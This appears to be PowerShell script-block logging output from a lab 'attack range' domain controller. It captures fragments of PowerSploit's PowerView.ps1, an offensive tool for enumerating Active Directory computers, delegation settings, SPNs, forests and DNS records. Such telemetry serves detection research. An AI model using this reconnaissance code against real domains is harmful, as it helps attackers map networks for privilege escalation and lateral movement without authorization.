for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainComputer
Returns the current computers in current domain.
.EXAMPLE
Get-DomainComputer -SPN mssql* -Domain testlab.local
Returns all MS SQL servers in the testlab.local domain.
.EXAMPLE
Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname
Return the dns hostnames of servers trusted for delegation.
.EXAMPLE
Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained
Search the specified OU for computeres that allow unconstrained delegation.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainComputer -Credential $Cred
.OUTPUTS
PowerView.Computer
Custom PSObject with translated computer property fields.
PowerView.Computer.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[OutputType('PowerView.Computer')]
[OutputType('PowerView.Computer.Raw')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('SamAccountName', 'Name', 'DNSHostName')]
[String[]]
$Identity,
[Switch]
$Unconstrained,
[Switch]
$TrustedToAuth,
[Switch]
$Printers,
[ValidateNotNullOrEmpty()]
[Alias('ServicePrincipalName')]
[String]
$SPN,
[ValidateNotNullOrEmpty()]
[String]
$OperatingSystem,
[ValidateNotNullOrEmpty()]
[String]
$ServicePack,
[ValidateNotNullOrEmpty()]
[String]
$SiteName,
[Switch]
$Ping,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$CompSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($CompSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$CompSearcher = Get-DomainSearcher @SearcherArguments
if (-not $CompSearcher) {
Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
else {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['Unconstrained']) {
Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['Printers']) {
Write-Verbose '[Get-DomainComputer] Searching for printers'
$Filter += '(objectCategory=printQueue)'
}
if ($PSBoundParameters['SPN']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
$Filter += "(servicePrincipalName=$SPN)"
}
if ($PSBoundParameters['OperatingSystem']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"
$Filter += "(operatingsystem=$OperatingSystem)"
}
if ($PSBoundParameters['ServicePack']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack"
$Filter += "(operatingsystemservicepack=$ServicePack)"
}
if ($PSBoundParameters['SiteName']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName"
$Filter += "(serverreferencebl=$SiteName)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
$CompSearcher.file66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122610Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local944$Forest' from -Credential"
}
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
$Null
}
}
elseif ($PSBoundParameters['Forest']) {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_"
return $Null
}
}
else {
# otherwise use the current forest
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
}
if ($ForestObject) {
# get the SID of the forest root
if ($PSBoundParameters['Credential']) {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid
}
else {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid
}
$Parts = $ForestSid -Split '-'
$ForestSid = $Parts[0..$($Parts.length-2)] -join '-'
$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
$ForestObject
}
}
}
function Get-ForestDomain {
<#
.SYNOPSIS
Return all domains for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all domains for the current forest or the forest specified
by -Forest X.
.PARAMETER Forest
Specifies the forest name to query for domains.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-ForestDomain
.EXAMPLE
Get-ForestDomain -Forest external.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestDomain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.Domains
}
}
}
function Get-ForestGlobalCatalog {
<#
.SYNOPSIS
Return all global catalogs for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all global catalogs for the current forest or the forest specified
by -Forest X by using Get-Forest to retrieve the specified forest object
and the .FindAllGlobalCatalogs() to enumerate the global catalogs.
.PARAMETER Forest
Specifies the forest name to query for global catalogs.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestGlobalCatalog
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestGlobalCatalog -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.GlobalCatalog
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.FindAllGlobalCatalogs()
}
}
}
function Get-ForestSchemaClass {
<#
.SYNOPSIS
Helper that returns the Active Directory schema classes for the current
(or specified) forest or returns just the schema class specified by
-ClassName X.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Uses Get-Forest to retrieve the current (or specified) forest. By default,
the .FindAllClasses() method is executed, returning a collection of
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results.
If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
result for the specified class name is returned.
.PARAMETER ClassName
Specifies a ActiveDirectorySchemaClass name in the found schema to return.
.PARAMETER Forest
The forest to query for the schema, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestSchemaClass
Returns all domain schema classes for the current forest.
.EXAMPLE
Get-ForestSchemaClass -Forest dev.testlab.local
Returns all domain schema classes for the external.local forest.
.EXAMPLE
Get-ForestSchemaClass -ClassName user -Forest external.local
Returns the user schema class for the external.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred
Returns the user schema class for the external.local domain using
the specified alternate credentials.
.OUTPUTS
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
An ActiveDirectorySchemaClass returned from the found schema.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[Alias('Class')]
[ValidateNotNullOrEmpty()]
[String[]]
$ClassName,
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
if ($PSBoundParameters['ClassName']) {
ForEach ($TargetClass in $ClassName) {
$ForestObject.Schema.FindClass($TargetClass)
}
}
else {
$ForestObject.Schema.FindAllClasses()
}
}
}
}
function Find-DomainObjectPropertyOutlier {
<#
.SYNOPSIS
Finds user/group/computer objects in AD that have 'outlier' properties set.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer
.DESCRIPTION
A 'reference' set of property names is calculated, either from a standard set preserved
for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
from the property names of the passed -ReferenceObject. Every user/group/computer object
(depending on determined class) are enumerated, and for each object, if the object has a
'non-standard' property set (meaning a property not held by the reference set), the object's
samAccountName, property name, and property value are output to the pipeline.
.PARAMETER ClassName
Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'.
If -ReferenceObject is specified, this will be automatically extracted, if possible.
.PARAMETER ReferencePropertySet
Specifies an array of property names to diff against the class schema.
.PARAMETER ReferenceObject
Specicifes the PowerView user/group/computer object to extract property names
from to use as the reference set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'User'
Enumerates users in the current domain with 'outlier' properties filled in.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local
Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.
.EXAMPLE
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
Enumerates computers in the current domain with 'outlier' properties filled in.
.OUTPUTS
PowerView.PropertyOutlier
Custom PSObject with translated object property outliers.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.PropertyOutlier')]
[CmdletBinding(DefaultParameterSetName = 'ClassName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')]
[Alias('Class')]
[ValidateSet('User', 'Group', 'Computer')]
[String]
$ClassName,
[ValidateNotNullOrEmpty()]
[String[]]
$ReferencePropertySet,
[Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')]
[PSCustomObject]
$ReferenceObject,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated')
$GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated')
$ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated')
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
# Domain / Credential
if ($PSBoundParameters['Domain']) {
if ($PSBoundParameters['Credential']) {
$TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
else {
$TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'"
}
$SchemaArguments = @{}
if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential }
if ($TargetForest) {
$SchemaArguments['Forest'] = $TargetForest
}
}
PROCESS {
if ($PSBoundParameters['ReferencePropertySet']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet"
$ReferenceObjectProperties = $ReferencePropertySet
}
elseif ($PSBoundParameters['ReferenceObject']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set"
$ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name
$ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1
Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass"
}
else {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'"
}
if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {
$Objects = Get-DomainUser @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $UserReferencePropertySet
}
}
elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {
$Objects = Get-DomainGroup @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $GroupReferencePropertySet
}
}
elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) {
$Objects = Get-DomainComputer @SearcherArguments
e66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122609Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local844t.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainDNSZone
Retrieves the DNS zones for the current domain.
.EXAMPLE
Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local
Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local.
.OUTPUTS
PowerView.DNSZone
Outputs custom PSObjects with detailed information about the DNS zone.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.DNSZone')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$SearcherArguments = @{
'LDAPFilter' = '(objectClass=dnsZone)'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$DNSSearcher1 = Get-DomainSearcher @SearcherArguments
if ($DNSSearcher1) {
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() }
else { $Results = $DNSSearcher1.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Out = Convert-LDAPProperty -Properties $_.Properties
$Out | Add-Member NoteProperty 'ZoneName' $Out.name
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
$Out
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
}
}
$DNSSearcher1.dispose()
}
$SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones'
$DNSSearcher2 = Get-DomainSearcher @SearcherArguments
if ($DNSSearcher2) {
try {
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() }
else { $Results = $DNSSearcher2.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Out = Convert-LDAPProperty -Properties $_.Properties
$Out | Add-Member NoteProperty 'ZoneName' $Out.name
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
$Out
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_"
}
}
}
catch {
Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'"
}
$DNSSearcher2.dispose()
}
}
}
function Get-DomainDNSRecord {
<#
.SYNOPSIS
Enumerates the Active Directory DNS records for a given zone.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord
.DESCRIPTION
Given a specific Active Directory DNS zone name, query for all 'dnsNode'
LDAP entries using that zone as the search base. Return all DNS entry results
and use Convert-DNSRecord to try to convert the binary DNS record blobs.
.PARAMETER ZoneName
Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone).
.PARAMETER Domain
The domain to query for zones, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the search.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainDNSRecord -ZoneName testlab.local
Retrieve all records for the testlab.local zone.
.EXAMPLE
Get-DomainDNSZone | Get-DomainDNSRecord
Retrieve all records for all zones in the current domain.
.EXAMPLE
Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local
Retrieve all records for all zones in the dev.testlab.local domain.
.OUTPUTS
PowerView.DNSRecord
Outputs custom PSObjects with detailed information about the DNS record entry.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.DNSRecord')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String]
$ZoneName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$SearcherArguments = @{
'LDAPFilter' = '(objectClass=dnsNode)'
'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$DNSSearcher = Get-DomainSearcher @SearcherArguments
if ($DNSSearcher) {
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() }
else { $Results = $DNSSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
try {
$Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
$Out | Add-Member NoteProperty 'ZoneName' $ZoneName
# convert the record and extract the properties
if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
# TODO: handle multiple nested records properly?
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0]
}
else {
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord
}
if ($Record) {
$Record.PSObject.Properties | ForEach-Object {
$Out | Add-Member NoteProperty $_.Name $_.Value
}
}
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord')
$Out
}
catch {
Write-Warning "[Get-DomainDNSRecord] Error: $_"
$Out
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_"
}
